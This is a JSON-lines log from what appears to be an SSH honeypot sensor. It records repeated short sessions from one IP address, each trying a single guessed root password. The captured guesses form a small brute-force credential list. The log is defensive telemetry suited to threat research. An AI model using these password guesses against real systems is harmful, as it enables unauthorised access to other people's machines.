{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:13.754166Z","src_ip":"60.165.124.241","session":"cf89a25b0c25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Str@d123!@#","message":"login attempt [root/Str@d123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:14.483831Z","src_ip":"60.165.124.241","session":"cf89a25b0c25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:15.729345Z","src_ip":"60.165.124.241","session":"cf89a25b0c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43956,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e62a6008c68","protocol":"ssh","message":"New connection: 60.165.124.241:43956 (10.17.0.5:22) [session: 6e62a6008c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:15.993036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:16.001450Z","src_ip":"60.165.124.241","session":"6e62a6008c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:16.263279Z","src_ip":"60.165.124.241","session":"6e62a6008c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!@#$QWER","message":"login attempt [root/1234qwer!@#$QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:17.060622Z","src_ip":"60.165.124.241","session":"6e62a6008c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:18.320845Z","src_ip":"60.165.124.241","session":"6e62a6008c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47240,"dst_ip":"10.17.0.5","dst_port":22,"session":"349433844a5a","protocol":"ssh","message":"New connection: 60.165.124.241:47240 (10.17.0.5:22) [session: 349433844a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:18.572750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:18.578412Z","src_ip":"60.165.124.241","session":"349433844a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:18.835002Z","src_ip":"60.165.124.241","session":"349433844a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samsung","message":"login attempt [root/samsung] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:19.592286Z","src_ip":"60.165.124.241","session":"349433844a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:20.854755Z","src_ip":"60.165.124.241","session":"349433844a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50556,"dst_ip":"10.17.0.5","dst_port":22,"session":"b866a871a6b7","protocol":"ssh","message":"New connection: 60.165.124.241:50556 (10.17.0.5:22) [session: b866a871a6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:21.077155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:21.082554Z","src_ip":"60.165.124.241","session":"b866a871a6b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:21.325280Z","src_ip":"60.165.124.241","session":"b866a871a6b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1212","message":"login attempt [root/admin1212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:22.667353Z","src_ip":"60.165.124.241","session":"b866a871a6b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:23.922423Z","src_ip":"60.165.124.241","session":"b866a871a6b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53958,"dst_ip":"10.17.0.5","dst_port":22,"session":"142063c5da63","protocol":"ssh","message":"New connection: 60.165.124.241:53958 (10.17.0.5:22) [session: 142063c5da63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:24.173732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:24.178759Z","src_ip":"60.165.124.241","session":"142063c5da63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:24.424687Z","src_ip":"60.165.124.241","session":"142063c5da63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1307","message":"login attempt [root/1307] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:25.199821Z","src_ip":"60.165.124.241","session":"142063c5da63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:26.462215Z","src_ip":"60.165.124.241","session":"142063c5da63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57308,"dst_ip":"10.17.0.5","dst_port":22,"session":"415ba9eb646f","protocol":"ssh","message":"New connection: 60.165.124.241:57308 (10.17.0.5:22) [session: 415ba9eb646f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:26.703046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:26.707949Z","src_ip":"60.165.124.241","session":"415ba9eb646f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:26.949070Z","src_ip":"60.165.124.241","session":"415ba9eb646f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhang123.","message":"login attempt [root/Zhang123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:27.693168Z","src_ip":"60.165.124.241","session":"415ba9eb646f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:28.948461Z","src_ip":"60.165.124.241","session":"415ba9eb646f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60182,"dst_ip":"10.17.0.5","dst_port":22,"session":"c13b8f10ce4c","protocol":"ssh","message":"New connection: 60.165.124.241:60182 (10.17.0.5:22) [session: c13b8f10ce4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:29.179904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:29.185737Z","src_ip":"60.165.124.241","session":"c13b8f10ce4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:29.425172Z","src_ip":"60.165.124.241","session":"c13b8f10ce4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"global123","message":"login attempt [root/global123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:30.172837Z","src_ip":"60.165.124.241","session":"c13b8f10ce4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:31.426708Z","src_ip":"60.165.124.241","session":"c13b8f10ce4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35534,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d261fee19a6","protocol":"ssh","message":"New connection: 60.165.124.241:35534 (10.17.0.5:22) [session: 0d261fee19a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:31.694663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:31.699897Z","src_ip":"60.165.124.241","session":"0d261fee19a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:31.951725Z","src_ip":"60.165.124.241","session":"0d261fee19a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Semptian1q2w3e","message":"login attempt [root/Semptian1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:32.701373Z","src_ip":"60.165.124.241","session":"0d261fee19a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:33.953116Z","src_ip":"60.165.124.241","session":"0d261fee19a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38424,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a442cf9726","protocol":"ssh","message":"New connection: 60.165.124.241:38424 (10.17.0.5:22) [session: 82a442cf9726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:34.214449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:34.220561Z","src_ip":"60.165.124.241","session":"82a442cf9726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:34.477380Z","src_ip":"60.165.124.241","session":"82a442cf9726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd01!","message":"login attempt [root/Passw0rd01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:35.264395Z","src_ip":"60.165.124.241","session":"82a442cf9726","protocol":"ssh"}
